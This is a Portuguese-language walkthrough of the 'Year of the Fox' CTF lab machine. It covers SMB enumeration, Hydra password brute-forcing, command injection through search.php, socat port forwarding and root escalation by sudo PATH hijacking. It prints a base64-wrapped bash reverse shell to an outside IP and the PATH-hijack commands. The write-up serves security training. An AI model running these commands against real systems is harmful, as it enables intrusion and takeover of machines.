/CTF_y3ar_0f_th3_f0x

walkthrough yearofthefox

MIT LicenseMIT

CTF_y3ar_0f_th3_f0x

walkthrough yearofthefox

*Nivel HARD


Vou começar enumerando os serviços no host com o Nmap.

fox0 2


Usando o smbclient, existe um compartilhamento chamado yotf, porem precisamos da senha.

 us3r  ~  smbclient -L //10.10.18.229 Password for [WORKGROUP\us3r]:

Sharename       Type      Comment
---------       ----      -------
yotf            Disk      Fox's Stuff -- keep out!
IPC$            IPC       IPC Service (year-of-the-fox server (Samba, Ubuntu))

fox0 3


Vou usar o enum4linux para listar os usuários disponíveis. Encontramos 2 usuários válidos: fox e rascal.

fox0 4


Se no serviço da web não revelar senhas, precisaremos usar brute force

fox0 5

sou imediatamente bloqueado, pois todo o caminho é protegido por senha usando uma autenticação básica.


Vou tentar forçar a autenticação com hydra usando rascal como usuário

fox0 6

[80][http-get] host: 10.10.18.229 login: rascal password: miroku 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-07-19 22:52:19  us3r  ~  ^C

e encontrei o password


Agora que logou, podemos entrar no site. É um search engine que pesquisa arquivos de texto.

fox0 7

fox0 8


A interceptação com o BurpSuite mostra que a solicitação é enviada para um arquivo search.php e a entrada do usuário é passada em uma string tipo JSON.

fox0 9


Vou usar o repeater do BurpSuite para reenviar solicitações

fox1 1


tentar injetar um shell reverso em bash

echo -n "bash -i >& /dev/tcp/10.6.90.2/4444 0>&1" | base64

fox1 2


a requisição com o shell reverso codificado em base64

fox1 3


Tenho o shell reverso com netcat e garatimos a primeira flag

fox1 4


Busquei por configurações SSH [sshd_config] pra verificar se existe serviço escutando em localhost, confirmado pelo arquivo de configuração sshd_config, que informa que só o usuário Fox pode se conectar

fox1 7


Posso usar o socat para abrir outra porta (por exemplo, 2222) e redirecionar para a porta 22 no localhost. Como o socat não está disponível no alvo, vou baixá-lo da minha máquina:

fox1 8


fox1 9


consegui a conexão SSH na porta 2222. Hora de um novo ataque brute force

fox2


Temos a senha e vou fazer a conexão via ssh -p 2222

fox2 1

e temos a SEGUNDA FLAG


verifiquei os priviçegios do fox com sudo -l e mostra que podemos executar o shutdown como root sem senha. Ao realizar eng reversa mostra que o executável de desligamento provavelmente foi escrito pelo autor do desafio. ele depende da função de desligamento

void main() { system("poweroff"); return; }

Vamos explorar a vulnerabilidade encontrada fazendo uma cópia do bash que chamaremos em vez de desligar: cp /bin/bash poweroff sudo "PATH=/tmp:$PATH" /usr/sbin/shutdown

fox2 2


Foi escalado pra user ROOT!!! a flag não estava disponivel no diretorio principal, mas sim oculta dentro do home/rascal. ai está a TERCEIRA FLAG!

fox2 3